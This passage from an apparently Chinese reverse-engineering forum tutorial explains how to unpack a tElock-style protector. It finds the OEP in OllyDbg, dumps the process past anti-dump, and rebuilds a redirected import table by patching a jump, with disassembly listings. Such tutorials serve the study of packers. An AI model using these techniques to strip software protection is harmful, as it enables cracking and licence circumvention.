當然你也可以用另一個好東西——Trace,Command裡來個tc eip<42b000  42b000是當前段的起始位置,捲軸拖到最上面就能看到了,一般程式編譯的基底位址為400000),OK,稍等一會我們就會停在這了(如果是ASPr可能要幾分鐘了 

00419F68    55                push ebp            <----
停在這  

00419F69    8BEC              mov ebp, esp  

00419F6B    83C4 F0            add esp, -10  

呵呵,OEP找到了;)  

當然,這個用PEiD就能找到OEP,比較一下,是不是一樣:D,對於用PEiD找到的OEP可以直接GOEP  



此時就可以Dump了,用LordPEDump吧,由於有AntiDump,所以要先Correct Imagesize一下再Dump  



二、修復IAT  

    
由於加密殼對輸入表進行了重定位,所以現在的檔還不能正常使用,我們的目標就是恢復它,先用ImportREC,填入正確的OEP, IAT AutoSearch, Get Import,無效的不少,Show Invalid, 右鍵->Trace Level1(Disasm),失敗!!看來是只有自己恢復了。記下IAT的地址0001C128  

    
好,重新運行,在ODDump視窗裡Go to Expression,0041C128,盯著它默默數著按了多少次Shift+F9,在第13次後發現0041C128變了,而且和最後到OEP處一樣,可見剛才殼修復了IAT也順便破壞了IAT,於是我們重來,Shift+F9 12次以後按照前面說的方法跳過異常,這裡我們可以在0041C128處選擇用記憶體中斷點或硬體中斷點,如Memory, On Write, On AccessHardwareOn Access等,我用Memory On Write,在殼幾次解碼IAT以後(0041C128處變了好幾次),我們可以到這裡  

0042C7C7    60                pushad  

0042C7C8    8327 00            and dword ptr ds:[edi], 0        <----
停在這  

0042C7CB    8B85 5B314000      mov eax, dword ptr ss:[ebp+40315B]  

0042C7D1    40                inc eax  

0042C7D2    0F84 A8000000      je kill_luj.0042C880           

0042C7D8    80A5 04294000 FF  and byte ptr ss:[ebp+402904], 0FF  

0042C7DF    0F84 9B000000      je kill_luj.0042C880    <----
這個位址跳轉就不被破壞  

0042C7E5    80A5 05294000 FF  and byte ptr ss:[ebp+402905], 0FF  

0042C7EC    0F84 8E000000      je kill_luj.0042C880              

0042C7F2    8B85 5F314000      mov eax, dword ptr ss:[ebp+40315F]  

0042C7F8    8907              mov dword ptr ds:[edi], eax    <-----
看這裡,被破壞了;)  

再看一下eax的值,  

    eax 77F525CA ntdll.DeleteCriticalSection  

很不錯的樣子:DIAT的重定向已經找到了,正常修復IAT在哪裡呢??多跟幾回,就會發現是在這  

0042C880    61                popad        <---
前面的je就是跳到這  

0042C881    3107              xor dword ptr ds:[edi], eax      <---OK
,到這就好了  

0042C883    58                pop eax  

於是乎,修改jejmpIAT就不會被破壞了,再到OEP處用ImportREC修復就好了  

這裡我說的似乎很輕鬆,其實這些東西要靠跟出來的,下面是一些我找到的關鍵點的分析  



首次解碼IAT      0042c3ef  

解碼 Dll Name    0042c4ea ->  解碼出正確 Dll Name  

Clear dll Name     0042c645 ->  
清除 Dll 的名字  

        0042c6ac ->  
解碼出正確 First Thunk  

        0042c66d ->  
解碼出正確 First Thunk  

最後解碼IAT    0042c693 ->  解碼出正確的RVA 指向函數名  

ReDirect          0042c7c8 ->  Import 
重定向這裡會置0  必經路線  

        0042c7f8 ->  Import 
重定向這裡指向殼裡  

Normal        0042c881 ->  
不重定向時正常輸入表位址  

Clear Function Name 0042c88d -> 
清除 函數 名字  

Repair IAT Over    0042c8fa -> BreakPoint  
到這裡IAT修復完成  



解碼 dll 名的那段代碼沒仔細找;),你如果有興趣可以找找  



當然再有興趣的朋友可以自己添加代碼修復IAT,這樣就可以不用ImportREC,手動修復IAT  



一般來說殼到這就差不多了,不過也會有某些變態殼要修修補補,這就沒法說了也超出了本文的範圍了  



                
      

    
我本人對於對於脫殼的思路大致就是如此,當然對於某些特殊殼還需要特殊待遇:D,我希望本文代給朋友的不是娃娃這個KG的殼如何脫,而是能更好的理解殼,理解如何分析殼,脫殼。也能更好的理解大俠手記裡一些不易理解的地方。例如本殼實際使telock的變形殼,如果忽略單步異常,5Shift+F9運行,第4次按Shift+F9時就會修復和破壞IAT,從而能理解為什麼要在5-2=3次後查找IAT(這個問題我就迷茫過一陣子)  



    
最後列一列我未玩過的殼,哪位大俠有相關的經驗交流交流  

      DBPE        
國產精品,一直未動過,據說常會讓機器重啟……  

      SVKP        
有時間玩玩  

      Armadillo    
新的3.40 CopyMem II沒玩過,據說難度比以前更難了:(  

      Obsidium    
分段加密的猛殼,好像還沒見過相關的手記  

      ACProtect    
感覺和ASPr有點象,另一個國產精品,不過現在怎麼沒有中文的介面了?  

      
這麼多沒玩過......,不寫了,沒前途